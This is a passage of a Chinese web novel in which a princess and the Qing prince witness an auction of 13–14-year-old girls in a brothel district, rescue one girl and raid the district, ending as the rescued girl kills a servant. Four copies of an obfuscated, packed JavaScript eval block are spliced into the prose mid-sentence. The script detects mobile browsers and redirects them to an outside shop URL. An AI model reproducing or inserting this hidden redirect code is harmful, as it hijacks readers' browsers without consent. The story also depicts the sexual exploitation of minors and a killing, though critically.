“抱歉,当时的确是我自作主张,但如果再来一次,我依然会这么做。”秦澈似乎有些明白慕衷情的意思,但他也有自己的想法,他在战场上杀伐果断这么多年,无论是杀人还是保护人,都有他自己的判断和决策,这不是一下子能够改变的。 慕衷情无奈又好笑地说:“行吧,你牛,不过没事儿,你犟,我也犟。” 秦澈也笑了:“嗯,这倒是深有体会。” “好了,不说了,你先去洗澡吧,我在外头晒晒太阳,难得今天天气好,希望头发干得快些。”慕衷情说着,搬一把凳子坐到院子里。 秦澈看着她整理自己的头发,不知为何,他忽然觉得慕衷情并不是一个被随意找来顶替慕府二小姐的人,这些日子以来,她不同寻常的奇思妙想和所言所行,都不像是普通人家能培养出来的。 他垂下眼眸,内心挣扎,他已经相信慕衷情不会害他,却仍旧想要追根究底。 可他又觉得,若真的追究下去,慕衷情很可能会再一次心生不满。 即使是假夫妻,秦澈也总是不自觉地将慕衷情置于自己需要保护的位置,他并不希望慕衷情会因为自己而感到失望或痛苦。 头发干了以后,慕衷情才让婢女们帮她梳了一个简单的发髻,又找来一顶幂篱遮面,向账房支取了些银子。 想了想,她还是让人拿来一根红绳,将秦澈送她的玉佩挂在腰间。 她早早睡下,翌日天边刚透出些微光,便起了床。 练完刻进DNA里的八段锦后,她草草吃了早餐,便戴上幂篱出了门。 秦澈向来不限制她的出行,不过慕衷情走之前还是特意跟秦澈说了一声,秦澈思索过后,也只是让她多带两个侍卫保证安全。 慕衷情一口答应,有熟悉舟安府的人一起,她办事也方便。 秦澈派给她的侍卫,是一对双胞胎,一个叫吴雨,一个叫吴雪,听起来天气挺好。 不过这几日天气都不太好,要么下雨,要么阴天,总不见太阳。 “你们知道这舟安府最繁华的街市在哪处吗?”慕衷情问道。 吴雨答道:“回王妃,是晴云巷。” 吴雨和吴雪长得很相似,但吴雨更沉稳,吴雪说话时调子总是上扬,只要两人一开口,很好分辨。 “那便带我去晴云巷逛逛。”慕衷情说道。 “是。”两人异口同声答道。 晴云巷离清王府不是太远,此处店铺林立,热闹非凡,还有许多走街串巷的小贩挑着担子在叫嚷。 这里处处都透着烟火气。 慕衷情带着两人漫无目的地逛着,吴雨和吴雪一开始还以为慕衷情是来购置衣物首饰的,可路过的店铺她一个都没进去,绕了几圈之后,竟然在一个卖水果的小摊前停下。 “居然有葡萄?吴雨,来买一斤回去尝尝。”慕衷情蹲下来,拿了一串葡萄说道。 小贩见到这么果断的客人,自然笑脸相迎,连忙帮慕衷情称重装好,生怕她反悔。 付了钱后,慕衷情却没有走,而是问道:“这是你家自己种的葡萄吗?” “是啊,自家院子里种了些,不多,趁着这时节卖一卖。”小贩笑着回答道。 “那你们家中有地吗?平日里除了种葡萄,还有什么营生?”慕衷情继续追问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035088|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小贩有些奇怪地打量慕衷情,但还是答道:“家中不过是佃户,租了地在种,唉,这平日里的租子也不少,平白辛苦一年,到头来大头都进了地主家口袋。” “那你们就没想过要减租或免租吗?” “姑娘说笑了,这世上哪有这样的好事,就算有,也轮不到我们这些人头上。”小贩的笑容中带着一丝自嘲。 慕衷情沉默半晌:“如果有一天,这些地可以是你们自己的,大家都不需要从地主那儿去租,你会支持吗?” 小贩的笑意淡了些:“姑娘不知是哪家的大小姐,还是不要拿我们这样的普通百姓打趣了,这地既是地主家的,又怎会平白给了我们?” “我明白了。”慕衷情说着,起身离开。 吴雨和吴雪也将两人的对话听了完整,却不明白慕衷情为何要问这些?两人对视一眼,决定回王府后,要与王爷汇报得仔细一些。 而后慕衷情又在各个卖菜、卖水果、卖点心和手工制品的摊贩前停留,买了一大堆东西,直到夜色降临,晴云巷闭市之后,才回王府。 “这儿有夜市吗?”路上,慕衷情问道。 吴雪答道:“这,坊间到了日落之时皆需闭市,唯有,唯有烟柳巷灯火如昼,长夜不灭。” 说完,他还看了吴雨一眼,颇为尴尬的模样。 不过慕衷情没有注意到他们的神情,只觉得这名字一听,就有点那味儿:“这烟柳巷是什么地方?不会是什么秦楼楚馆聚集之地吧?” “回王妃,正是。” 慕衷情盘算了一下,颇有些心虚地问:“你们说,如果我跟王爷请求让你们带我去烟柳巷,他会答应吗?” 吴雨和吴雪吓得眼睛都瞪大了,要不是这是在外头,恨不得直接跪下来求慕衷情千万不要有这种想法。 两人震惊得没有说话,一时不知让他们去烟柳巷更加为难,还是要带着慕衷情一起更加恐怖。 慕衷情看了他们一眼:“算了,不为难你们,还是让王爷自己带我去吧。” 吴雪突然踉跄了一下:“王妃,您您您您怎可去那种腌臜之地?” “别担心,我肯定不会一个人去的,只是想去实地考察一下那里的情况,想要发展农业,光靠种地可不行,社会的变革是一体的,头重脚轻或头轻脚重的发展都会出现,可以有快慢先后,但不能只着重于一处,其他的就不去管了。” 慕衷情说得倒是认真,可吴雨和吴雪听得云里雾里的。 回到王府后,慕衷情第一时间问了秦澈在哪儿,得知对方在书房后,便立刻带着吴雨和吴雪到书房去找秦澈。 将大包小包放到秦澈的书房里时,秦澈的脸上出现了一丝茫然。 吴雨和吴雪很识相地放完东西就退下,将空间留给秦澈和慕衷情两人。 “王爷你看看,这都是我去晴云巷买的水果、点心还有一些锦囊、摆件,舟安府物产其实挺丰富的,这次收获不小。”说着,慕衷情给秦澈拿了一串葡萄过去,“王爷您尝尝,我呢,还有件事想请您帮忙。” 秦澈接过葡萄,谨慎地说:“你先说来听听。” 看刚刚吴雨和吴雪那一副逃跑的模样,秦澈一猜就觉得慕衷情的这个忙,不太好帮。 慕衷情搓搓手,清了一下嗓子:“那个,其实也不是什么大事,就是想请您带我去一趟烟柳巷看看。” 32. 三十二、 “什么?”秦澈几乎不敢相信自己的耳朵,“你要去哪儿?” 慕衷情望天:“烟柳巷。” 秦澈一脸的一言难尽,他斟酌了半晌的言语,最终化为一声无奈的叹息:“你要去那儿做什么?” 慕衷情一听便知他这是愿意陪她去了,高兴地上前说道:“我要去实地考察,我想做一件大事。” “什么大事?”秦澈耐心地问。 慕衷情指了指葡萄:“我不了解清州的风土人情,但是我认为,王爷想要粮草、粮饷自给自足,光靠让农户多种地是不行的,整个清州的经济都得发展起来,今儿个我问了些商贩,许多人家中也是农户,但每年种地的收成仅能糊口,此处不似丰州耕地多且连成片,他们大多都需要做些别的营生才能让日子过得稍微好一些。” “可这跟烟柳巷有何关系?”秦澈问。 “烟柳巷应该不小吧,其中的秦楼楚馆想来也不少,若是那些女子都能投入到生产,就是一起去劳作,无论是种地,还是做些小生意什么的,这不都比当一个烟花女子更好吗?这么多的女子被解放,额被救出来,能产生多大的能量啊,您的名声威望也一定会更上一层楼。”慕衷情十分卖力地给秦澈画着美好的蓝图。 秦澈大概明白了她的想法,却并没有立刻答应:“你所想的确美好,可你要明白,这些女子之所以会成为娼妓,是因为这世道,有太多人希望她们成为供人亵玩的娼妓。” “我明白,我当然明白,所以我不会自不量力,一个人去办这些事,所以我才在这里努力说服王爷。”慕衷情比谁都明白这有多难,可她愿意相信秦澈,相信他会去做,相信他能做到,“还记得我问过您的问题吗?在军中多年,无数次厮杀,您是为了什么?为了功劳、名利,还是想要守护天下太平,河清海晏。” “自然是为了天下太平。”秦澈毫不犹豫地答道。 “那就是了,这份太平,难道这些女子就没有资格拥有吗?她们就只配成为别人的玩物吗?”慕衷情拉住秦澈的手臂,“王爷,我知道这很难,可是我想和您一起去试试,给这个世道的女子,一个可以靠双手谋生的机会。” 秦澈神情动容,他虽不懂慕衷情为何在这件事情上亦是如此执着,可看着慕衷情的诚挚与坚定,他隐约觉得,自己应当去和慕衷情做这件事,这件很有可能令世间翻天覆地的大事。 “你可想好了?”秦澈最后确认。 慕衷情立刻回答:“想好了。” “那便去做吧,若此事功成,清州无数女子,要谢你蹈火相助之恩。”秦澈做了决定后,释然一笑,无论此事是否功成,至少他有信心,护得住慕衷情。 “也要谢谢王爷肯为她们冒天下之大不韪。” 两人相视一笑。 翌日傍晚,慕衷情再换男装,虽说不一定瞒得过同为女子的人,但好歹她身边还有个秦澈在,进入花楼也不算太奇怪。 吴雨和吴雪依然跟着他们,两人打死都不敢相信秦澈竟然真的会带慕衷情一起去烟柳巷。 这场面,怎么看怎么别扭。 但他们只是护卫,不好多言,只能默默地跟在后头。 天色渐黑,烟柳巷的灯火却逐渐亮起,喧嚣声比之白日里的晴云巷有过之而无不及。 有人在门口揽客,有醉鬼吵吵嚷嚷地发酒疯,有三五同行者说着些不堪入耳的下流话,四面八方传来的调笑声中还隐隐掺杂着哭泣声,繁华而又不堪。 秦澈一进入烟柳巷,便一直冷着脸,压根不像是来逛花楼的客人,偶尔遇到些不看路的,眼中的嫌弃都快溢出来了。 “小心。”秦澈将慕衷情拉到自己身边,避开了一个走路摇摇晃晃的酒鬼。 此时他也无法去在意礼数,别人不知,可他知晓慕衷情是个女子,总担心她被别人冲撞到。 走了一会儿后,慕衷情在一座花楼前停下,这是她目前见到的,建筑与装饰最为奢华的一座楼。 “就这里吧。”慕衷情对秦澈说道。 秦澈便率先走了进去。 慕衷情跟在秦澈身后,他们刚进去,还没走两步,就立刻有小厮上前招呼。 “几位客人快请进,今日花魁之选就要开始了,好位置早早就被占光了,客人若是来得再晚些,怕是座位满了便不让进门咯。”小厮谄媚地笑着,将两人引到左侧仅剩的几处空位,为他们斟满热茶,而后热切地盯着两人看。 秦澈朝吴雨使了个眼色,吴雨便立刻打赏了些银钱给小厮。 小厮这才满意退下,过后又端了些点心上来。 “你说,咱这是什么运气,一来花楼就碰上花魁大选。”慕衷情皮笑肉不笑地嘲讽,“这座无虚席的,不必早起干活的人过得就是舒服,待一晚上也能一掷千金了吧。” 秦澈默默地把茶杯推到慕衷情面前:“我也是第一次来,并不清楚要多少银钱。” “行吧,等花魁大选结束,我们最好叫个人打听打听,应该不至于付不起吧?”慕衷情小声确认。 秦澈被她这么一问,忽然有些不确定起来:“应当是够的。” 两人说话间,台上的老鸨已经在介绍今日第一位竞选花魁的姑娘轻絮。 一见到轻絮抱着琵琶上台,慕衷情就皱起了眉头。 她把凳子挪到秦澈身边,几乎是贴着他,凑过去低声道:“我还忘了一件事情,往后这姑娘的嫁娶年龄,是不是也规定一下,你看这轻絮,分明才十三四岁的模样,这还是孩子呢!我——” 慕衷情硬生生憋回去一句骂人的话,在轻絮婉转的琵琶声中继续说道:“这些嫖客,真——” “嗯,我知道,变态。”秦澈立刻接上。 “哟,你还会抢答了?”慕衷情十分意外。 秦澈的身子微微偏向另一侧:“你说过的,我虽不解其意,但你喜欢用这个词骂人。” 慕衷情一脸的孺子可教也,仿佛找到了知音。 此次竞选花魁的,一共有五名女子,皆是十三四岁的年级,论模样倒都是数一数二的,每个人的才艺也都不同,有擅琵琶琴筝等乐器的,也有舞技歌喉绝佳的。 而这评选,则要看底下的客人为谁出的价更高,哪位姑娘的身价最高,就是今晚选出来的花魁,开价最高的客人则能与之春宵一度。 结果还没出来,在一轮又一轮的竞价声中,慕衷情已经开始焦虑到抠手指。 “一万两白银!给轻絮!” “这位爷出价一万两白银,还有哪位爷要价更高的?这可是花魁头牌的初夜,各位爷可要想好了哟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047427|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鸨喜笑颜开,还试图撺掇其他人继续加价。 很快,价格又提了五千两。 慕衷情揪住秦澈的衣袖:“陆离,若我今日一把火烧了这烟柳巷,是不是太冲动了些。” 秦澈低头看着自己被捏皱的衣服,抬手覆上了慕衷情的手背,轻轻拍了两下:“确实冲动,但这是你的侠义之心,你不愿见这些女子像物件一样被拍卖,若是可以,我希望你永远不会被迫收起自己的良善。” 最终价格定在了三万五千两,还是刚刚那个要买轻絮的客人,那人看起来衣冠楚楚,像个斯文人,可那副嘴脸却万分下流。 老鸨又将轻絮推到了台上,强行剥去她披在肩上的轻纱,露出雪白的肩膀和手臂,以及胸前一大片春光。 而后,她笑着将那位客人请上台,让轻絮抱着琵琶,叼着酒杯,“请”客人喝一杯酒。 底下一片调笑声,客人盯着轻絮的胸脯,一把搂住她的腰往自己身上贴。 慕衷情低下头,她看到轻絮微微偏头避了一下,但也只是那么一瞬间,很快她就笑着主动凑上前任人轻薄。 “我有点,想带她走。”慕衷情喃喃低语道。 她是说给自己听的,声音极轻,因为她很清楚,自己不该逞一时之快,至少也该摸清楚这烟柳巷盘根错节的势力再动手。 她无权无势,也不是什么武功高强的大侠,许多事情都需要秦澈帮忙,她不该冒险,不该添麻烦。 “那就带她走。”秦澈没有看台上的闹剧,他一直注意着慕衷情的情绪,似乎明白她在想些什么,“你往后要救许多人,今日便先救一人,有何不可?” 慕衷情惊讶地抬起头,秦澈的目光很是认真,是真的认为这并无不可。 在这一刻,她感到自己好像是第一次认识秦澈一般,哪怕她从未认为秦澈是什么十恶不赦之人,但她始终只认为秦澈有的是上位者对下位者的怜悯,他有仁义、善心,却独独难以真正地,将一个底层百姓那如草芥般的命,视作举足轻重的,可为之冒险的事情。 当然,这有社会思想与制度的原因,慕衷情并没有认为这是秦澈的错。 同样的,她对他也并没有抱太大的希望,要改变一个人根深蒂固的想法,太累,也太危险。 可秦澈却告诉她,有何不可。 一石激起千层浪,他不会不明白,今天救下一个轻絮,往后那些商贾与贵族会给他带来多少麻烦,哪怕那些人地位与权势皆在秦澈之下。 秦澈浅浅扬起一个笑容:“别怕,你说的那些事,昨日我都已经想过,本该需要些时日去准备安置她们的房屋,安排她们学一些往后谋生的手艺,打点好舟安府中各方势力,可我毕竟是清王,是清州的王,若连一个舟安府都管不住,又如何管得了清州?” 他的语气很温和,却莫名地让慕衷情放下心来。 “与其往后束手束脚,不如今日大闹一场?”慕衷情放松下来后,还开了一个玩笑。 秦澈见她有了笑意,便招手让吴雨和吴雪靠近一些:“等到轻絮与客人进了房间,吴雪去后院找个没人的房间放一把火吸引他们的注意力,吴雨去把轻絮带走。” 吴雨和吴雪再次震惊,什么情况?他们家向来不近女色的王爷竟然要当着王妃的面抢花魁? 33. 三十三、 “诶?那我呢?我能做些什么?” 慕衷情听秦澈一下子就安排好抢人事宜,立刻摩拳擦掌起来,想要自己也能帮上些什么。 秦澈略一沉吟:“你是女子,轻絮骤然被人劫持走,必然心生恐惧,说服她的事情,只能交给你。” “嗯,没问题,我这人没武功,但有嘴。”慕衷情十分自信地说道。 讨论完毕,四人默不作声地离开花楼,秦澈与慕衷情先回王府,等着吴雨和吴雪的好消息。 看着吴雨和吴雪矫健的声音隐入小巷子里,慕衷情感慨道:“这年头,打个工可真不容易。” 秦澈见她又在说些奇奇怪怪的话,却没有询问,或许要是哪天慕衷情说的话他全能听懂,反倒是有问题了。 吴雨和吴雪的动作很快,他们刚到王府没多久,吴雨就扛着轻絮来了,一路上王府众人纷纷对他行注目礼。 吴雨把人带到秦澈的书房中:“王爷,人抢……带回来了,怕她喊叫,便打晕了。” 秦澈点点头:“多久能醒?” “下手不重,应该不会超过半个时辰。” “下去吧。”秦澈刚说完,又喊住他,“等等,你叫上吴雪,一起守在这里。” 慕衷情把人扶到座位上,捏了一把轻絮的脸,可真是满满的胶原蛋白。 “多好看的姑娘啊,怎么能便宜了那些猪头。” 秦澈失笑:“若她能帮我们,烟柳巷的信息或许能收集得更快些。” 慕衷情拍胸保证:“保证完成任务。” 不一会儿,吴雨便带着吴雪一起回到书房,静静地站在一旁,他们的神情都带着困惑,不知道自己为什么也要待在这书房里。 秦澈观察到他们的疑惑,主动解释道:“铲除烟柳巷的事情,我打算交给你们,今日轻絮所言,你们必须了如指掌,此事不仅要成,还要速成,不能给他们任何喘息的机会。” 人的欲望最难掌控,那些商贾士族早已习惯高高在上地享受,一旦被他们反应过来,反对之声与反扑之潮必然声势浩大。 “是。”两人立刻答道,对于他们来说,花楼的存在并不是什么稀罕事,他们不明白为何王爷和王妃要做这般吃力不讨好的事情,不过他们对秦澈忠心耿耿,哪怕想不明白,照办便是。 几人安静地等了一会儿后,轻絮悠悠醒转,她的记忆还停留在自己将要服侍客人的时候,一个陌生的男人突然跳窗进来,不由分说打晕了那名客人,说要带自己走,她害怕极了,生怕自己一出房间就要没了性命,刚想喊人来,就失去了意识。 一睁眼,她就发现自己到了一个完全陌生的房间。 轻絮吓得立刻往后一缩,她似乎想大叫,却又明白贸然出声可能会遭遇更可怕的事情。 “醒啦?别怕,先喝口水缓缓。”慕衷情就坐在她旁边,替她倒了杯温水。 轻絮不敢去接,她的目光一直落在吴雨的身上,满是害怕与警惕。 “那个什么,跟你解释一下先,这位叫吴雨,旁边的是他的兄弟吴雪,刚刚也是他们把你扛,咳救回来的。”慕衷情略过秦澈的介绍,想让轻絮先放松下来,“我们把你带回来,一是不想你继续沦落风尘,二是想请你帮一个忙。” 轻絮仔细打量着慕衷情,不确定地问:“你是女子?” “聪明。”慕衷情朝她一笑,“我在台下还看了你们的花魁大选呢,若非如此,也不能恰好把你救出来。” 轻絮听到花魁二字,脸色一白:“你们为何要将我带到这里?若是被妈妈发现我没有侍候好客人,一定会打死我的!我要回去,我得回去!” 说着,轻絮起身想要逃离,慕衷情一把拉住她,将人按回到座位上,那杯没喝的茶水被泼到了轻絮的脸上。 慕衷情还是笑眯眯的样子:“现在能冷静下来好好聊聊了吗?” 轻絮僵住,觉得这房中唯一的女子也是如此可怕。 “轻絮是你的花名吧?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057909|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本姓什么,叫什么,还记得吗?”慕衷情见她如惊弓之鸟,便没有直接切入主题,慢慢问道。 轻絮摇摇头:“我自小便被卖进花楼,自有记忆以来,便一直学着读书识字,原本是要我学跳舞,后来发现我更为擅长琵琶,便一直学琵琶了。” “我觉得轻絮这名字不够好听,也太轻,既然你已离开花楼,不如往后便改个名字吧?”慕衷情提议道,“你学过诗书,有没有什么喜欢的名字?” 轻絮看看慕衷情,又看看在附近的秦澈与吴雨吴雪,没有说话。 她仍然不相信,这些人是真的要救她。 慕衷情见她不说话,自顾自地继续往下说:“你更喜欢读书还是弹琵琶?或者还有什么想做却未做的事情?” 轻絮的双手不安地绞着衣裙,她这才发现自己身上不知何时多了一件深色的外袍,明显是一个男人的,她看向吴雨,对比他身旁的吴雪,确认是吴雨给她披上的。 她忽然安心了些,答道:“我喜欢读些前人的诗词佳句,我从前,是喜欢弹琵琶的。” 从前弹琵琶,不是为了卖笑和讨好,她可以专注于琵琶的技艺,可随着年岁渐长,她要学的就不是琵琶,而是如何通过弹琵琶,去讨好客人。 “明白,云中谁寄锦书来,雁字回时,月满西楼,不如往后就叫你锦书?你是一个我们偶然遇见的孤女,才不是什么花魁轻絮,你觉得如何?” 秦澈神色一动,又是一句他从未听过的词。 轻絮错愕地对上慕衷情明亮的双眸,仿佛慕衷情对她所说的,并不是换个名字那么简单,而是在邀请她“换个人生吧”,换一个不卖笑不卖身的人生吧。 她看着慕衷情的笑容,像是受了蛊惑一般不自觉地点了点头,轻声问了一句:“你呢?你叫什么?” “慕衷情,仰慕的慕,互诉衷肠的衷,情深似海的情。”慕衷情用袖子替她擦了擦脸上的茶水,“那么现在,我想请你帮一个忙,可以吗?” 34. 三十四、 “什么忙?”轻絮这般说着,却垂下眼,依然没有完全放下戒心。 不过是人为刀俎我为鱼肉,轻絮明白自己此时并无其他选择。 慕衷情却没有立刻说自己的想法,而是对秦澈说道:“王,额,陆离,能不能让人端些点心过来,今日怕是睡不了了,不能让锦书饿着肚子。” 秦澈:“好,吴雪,你让人做些点心过来。” 轻絮打量了一眼秦澈,直觉此人非富即贵,不可得罪。 “你从小学艺,想来对烟柳巷应当十分熟悉吧?”慕衷情慢悠悠地说,“我有一个计划,烟柳巷这样的地方,就不该存在,可要将其连根拔起,总该知道这个根是什么,你们那位妈妈能将花楼开到这么大,也并非单单只靠自己吧?” 轻絮越听越不可置信,她甚至都没有听到后面那一句,脑子里全是“要将烟柳巷连根拔起”。 这样的事情,以前从未有人在她面前提起过,她所遇到的人都在反复告诉她,被卖入花楼是她的命,她的命不好,只能用身子去伺候人。 “慢慢想,往后时间还长,我不知你为何会被卖入花楼,或许是家贫,养不起你,又或许因为你是个女孩,他们觉得养了你太亏,不如早点卖了,他们有千千万万个理由卖了你,那么你呢?你有没有自己的理由,要去卖笑卖身?”慕衷情起身,将一根点燃的蜡烛拿了过来,“你看这根蜡烛,是不是你一吹就灭了?” 轻絮犹疑着点点头。 慕衷情吹灭了蜡烛:“然后呢?” “然后什么?”轻絮越发听不懂。 “灭了之后的蜡烛,不还是蜡烛吗?如果人的一生就像它一样,会一点一点被燃尽,那你灭了多久,很重要吗?反正还是会发光,不管还剩下多少,点燃它就会发光。”慕衷情笑着弹了一下她的额头,“更何况,你的一生才刚刚开始,没必要直接丢了它。” 轻絮似懂非懂地点点头:“其实我也不是很了解,不过我以前见过妈妈招呼一些重要的客人,她跟我们都说过,若是东城的王老爷、张大人过来,必定是要好好服侍的,万不可出一点差错。” 慕衷情看向秦澈,秦澈思索道:“王老爷,应当是东城最大的布商,至于张大人,本朝律例所定,官员不可狎妓,看来不仅是烟柳巷,这舟安府的上上下下,都要清查一遍。” “只有他们两个,大概也是不够的,与之牵连的,怕是不少。”慕衷情快速转动大脑,“但不可全盘获罪,总要给他们留些希望在,免得闹事。” “放心,我有分寸。”秦澈赞同道。 轻絮听到这儿,终于是忍不住问道:“这位大人,究竟是什么身份?” 问的是秦澈的身份,轻絮下意识看向的却是慕衷情。 “那让我来介绍一下,这位便是清王,今日我与王爷去烟柳巷微服私访,恰巧看到花魁大选,我见你似有不愿,便让吴雨将你救走。”慕衷情三言两语解释道,此时公开秦澈的身份,恰到好处,轻絮的心防已卸去一些,清王这个名号一打出来,绝对会对他们之前所说的深信不疑。 “参,参见王爷,民女不知王爷身份,多有得罪,万望王爷恕罪。”轻絮立刻跪下,又惊又怕,刚刚与慕衷情的对话也在脑海中不断打转,难道烟柳巷真的会不复存在,难倒往后余生,她真的可以不做轻絮,成为锦书了吗? 慕衷情立刻给秦澈使眼色,还用口型提醒他。 秦澈便道:“无妨,免礼吧,本王只问你,愿继续做花魁轻絮,还是做孤女锦书。” 慕衷情笑着抬起双手给秦澈比大拇指。 “民女,愿为锦书。”锦书抬起头时,竟不知为何已泪流满面,“只是民女,从小身在花楼,除了卖笑讨好,竟不知能做些什么。” 慕衷情将人扶起来:“你不是懂诗书吗?往后当个私塾先生也不错啊,或是你想学些什么,等我们将烟柳巷的女子都安置好后,可以统一安排你们学些手艺活。” “私,私塾先生?”锦书愣愣地说,“这怕是,不能,锦书一介女子怎可做私塾先生?” 就在这时,刚做好的点心送了进来。 慕衷情直接拿了一块先尝:“好吃,你也尝尝,别说私塾先生了,我这个一介女子都能去逛花楼,顺带还抢了一个花魁回来,女子做私塾先生又有什么奇怪的?” 锦书无措地低下头,她仍旧觉得这甚是荒唐,这一夜如同一个奇异的梦境一般,处处都透着令人沉迷的荒唐。 可她又不知如何反驳慕衷情的话,甚至还有些心生向往。 慕衷情又拿了几块点心,分别递给秦澈、吴雨和吴雪。 “你跟在衷情身边一段时日,怕是这世上便再无荒唐之事了。”秦澈调侃了一句。 “你还说呢,你现在不也跟着我荒唐起来了?”慕衷情反击道,“这花楼不是你陪我一起去的吗?” 秦澈无奈地摇摇头,慕衷情向来牙尖嘴利,嘴上总是不肯吃亏的。 吴雨和吴雪则颇为认同地点点头,就连他们都觉得这一夜过得甚是荒唐。 锦书听着他们斗嘴,蓦然轻笑一声,脸上虽还挂着泪痕,神情却放松许多,好奇道:“不知慕姑娘又是何身份?” 秦澈立刻抢答道:“自然是本王的王妃。” 慕衷情不屑道:“明明你才是本王妃的夫君。” 听到“夫君”二字,秦澈忽然怔愣一瞬,他说不上来自己这一刻的感受,只觉得心上似乎有些酥酥麻麻的,扰得他颇为不安。 慕衷情与锦书长谈了一夜,问了许许多多关于烟柳巷的事情,直到天亮。 最后,慕衷情起身与秦澈对视,朝他点头。 天亮了,锦书失踪的事情肯定已经被发现,他们不能等。 秦澈同样明白,立刻下令道:“吴雨吴雪,给你们今日一天的时间,在日落之前,查封烟柳巷所有馆楼,要多少人手便去抽调,可有问题?” 吴雨吴雪整齐划一道:“是,谨遵王爷谕令。” “查封烟柳巷并非小事,消息是瞒不住的,得压住那些蠢蠢欲动的人。”慕衷情说道。 “那就从那位张大人开始,查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078220|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封的同时,派人将其捉拿下狱,一路不必遮掩,闹得满城风雨最好。”秦澈思忖道,“至于布商,暂时先不动,商户重利,未必会直接下场,往后敲打敲打便可,这几日多让人注意城中富商士族的动向,有任何异动均要来报。” “是!” 明明是做着自己仍旧不理解的事情,可不知为何,吴雨和吴雪竟感到有些心潮澎湃,好似热血随着天光大亮,一起沸腾起来。 就在他们要领命离去的同时,锦书站起来,似是下定了什么决心,咬牙道:“我,能不能和你们一起去,我熟悉烟柳巷,也知道有些姐妹早就想要逃离风尘,若能得她们相助,必然会更好。” 慕衷情温柔地摸摸她的头:“你不害怕吗?若是被发现,少不了谩骂,往后怕也会报复。” 锦书摇摇头:“若是轻絮,必是会怕的,怕往后无处容身,怕被责打,怕活不下去,可如今,我已是锦书。” 吴雨带人去烟柳巷,吴雪带人去捉拿那位张大人。 锦书自是跟着吴雨,在吴雨的示意下,她拆下繁复的发髻,学着慕衷情的模样简单扎起长发,又换了一身素衣,若看装扮,完全想不到她就是昨晚的轻絮。 离开王府前,吴雨又递给她幂篱:“遮着些吧,能不被他们发现,也可保你多一分平安。” 锦书下意识地想要行礼,又想起自己如今的身份,便止住了在花楼中所学的用以调笑勾引的行礼动作,端正地微微福身:“多谢吴大人。” 吴雨不太好意思地挠挠头:“叫我吴雨就成,这大人听着总觉得怪怪的。” 锦书掩唇一笑,戴上幂篱,跟着吴雨前往烟柳巷。 此时的烟柳巷经过一夜的喧嚣,正缓缓恢复宁静,在锦书的指引下,吴雨迅速派人封住几个烟柳巷的出入口,而后他们直奔昨晚的花楼。 此时花楼尚未关门,里头有些吵闹,吴雨听到了几句咒骂和轻絮的花名,想来是他们发现了被打晕的客人,和消失的轻絮。 锦书紧张地捏着手:“我在这里待了许多年,曾见过妈妈的房间里有密室,想来藏了许多密辛。” 吴雨眼睛一亮,快带我去。 锦书立刻带着他上楼,吴雨一挥手,身后的士兵便冲入花楼将所有人控制住,在一片吵嚷叫骂声中,锦书带他上了三楼,又为他打开了密室。 吴雨立刻让人点起火把,走了进去。 密室不算很大,但的确藏了不少东西,有花楼的账本,还有行贿的账本,甚至有些记着一些权贵的把柄。 吴雨动作利落地将一个放着金银珠宝的盒子打开,倒出里头的东西,将那些证据统统归整好。 做完这一切,他回身想要离开,却没有看到锦书的身影,便问了一句:“锦书姑娘人呢?” 手下答道:“大人您一进密室,锦书姑娘便退出了。” 吴雨有些疑惑,但没有追问,只快步走出老鸨的房间,四处张望。 就在这时,一个士兵慌张地跑过来禀报:“不好了吴大人!刚刚您带过来的那位姑娘杀人了!” 35. 三十五、 “杀人?怎么回事?”吴雨抱着盒子,边走边问道,他无法将柔柔弱弱的锦书与杀人联系起来。 “就在刚刚,锦书姑娘来看我们抓到的龟奴,说要帮我们清点人数,看看有没有漏网之鱼,谁知道,她突然拿出一根簪子,直接划开了一个龟奴的脖子,那血喷得到处都是,人一下子就没气了。”士兵解释道。 “先过去看看。”吴雨快步走到后院,地上跪着一排人,其中一个倒在地上一动不动,地上都是血迹,锦书就坐在那滩血迹之中,手上还紧握着染血的簪子,神情漠然。 